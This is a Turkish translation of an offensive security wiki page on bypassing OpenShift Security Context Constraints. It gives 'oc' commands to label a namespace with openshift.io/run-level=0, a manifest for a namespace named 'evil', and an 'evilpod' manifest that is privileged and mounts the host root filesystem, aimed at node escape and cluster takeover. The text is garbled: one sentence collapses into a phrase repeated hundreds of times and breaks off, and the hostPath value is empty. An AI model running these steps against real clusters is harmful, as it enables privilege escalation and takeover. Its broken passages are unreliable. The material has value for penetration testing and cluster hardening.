OpenShift - SCC bypass

Bu sayfanın orijinal yazarı Guillaume

Ayrıcalıklı Ad Alanları

Varsayılan olarak, SCC aşağıdaki projelere uygulanmaz:

  • default

  • kube-system

  • kube-public

  • openshift-node

  • openshift-infra

  • openshift

Bu ad alanlarından birinde pod'lar dağıtırsanız, hiçbir SCC uygulanmayacak, ayrıcalıklı pod'ların dağıtılmasına veya ana dosya sisteminin bağlanmasına izin verilecektir.

Ad Alanı Etiketi

RedHat belgelerine göre pod'unuzda SCC uygulamasını devre dışı bırakmanın bir yolu vardır. Bunun için en az aşağıdakilerden birine sahip olmanız gerekecektir:

  • Bir Ad Alanı Oluşturun ve Bu Ad Alanında Bir Pod Oluşturun

  • Bir Ad Alanını Düzenleyin ve Bu Ad Alanında Bir Pod Oluşturun

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

Belirli etiket openshift.io/run-level, kullanıcıların uygulamalar için SCC'leri atlamasına olanak tanır. RedHat belgelerine göre, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etiket kullanıldığında, bu etik

$ oc label ns MYNAMESPACE openshift.io/run-level=0

Bir YAML dosyası aracılığıyla etiketli bir ad alanı oluşturmak için:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Şimdi, ad alanında oluşturulan tüm yeni pod'ların herhangi bir SCC'si olmamalıdır

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

SCC olmadığında, pod tanımınızda herhangi bir kısıtlama olmaz. Bu, kötü niyetli bir pod'un ana sistem üzerine kolayca kaçmasına olanak tanır.

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Şimdi, ayrıcalıkları yükseltmek ve ardından tüm kümesi ele geçirerek 'cluster-admin' ayrıcalıklarını elde etmek daha da kolay hale geldi. Aşağıdaki sayfadaki Node-Post Exploitation bölümünü arayın:

Özel etiketler

Ayrıca, hedef kurulumuna bağlı olarak, bazı özel etiketler / açıklamalar önceki saldırı senaryosuyla aynı şekilde kullanılabilir. Etiketler, izin vermek, belirli bir kaynağı kısıtlamak veya kısıtlamamak için kullanılabilir, hatta bu amaçla yapılmamış olsalar bile.

Bazı kaynakları okuyabiliyorsanız özel etiketlere bakmaya çalışın. İşte ilginç kaynakların bir listesi:

  • Pod

  • Deployment

  • Namespace

  • Service

  • Route

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Tüm ayrıcalıklı ad alanlarını listele

$ oc get project -o yaml | grep 'run-level' -b5

Gelişmiş saldırı

OpenShift'te, daha önce gösterildiği gibi, openshift.io/run-level etiketine sahip bir ad alanında bir pod dağıtma iznine sahip olmak, kümenin kolayca ele geçirilmesine yol açabilir. Küme ayarları açısından, bu işlevsellik devre dışı bırakılamaz, çünkü OpenShift'in tasarımına dahildir.

Ancak, Open Policy Agent GateKeeper gibi önlem alma önlemleri, kullanıcıların bu etiketi ayarlamasını engelleyebilir.

GateKeeper'ın kurallarını atlamak ve bu etiketi ayarlamak için bir küme ele geçirme işlemi gerçekleştirmek için, saldırganların alternatif yöntemleri belirlemesi gerekir.

Referanslar

Last updated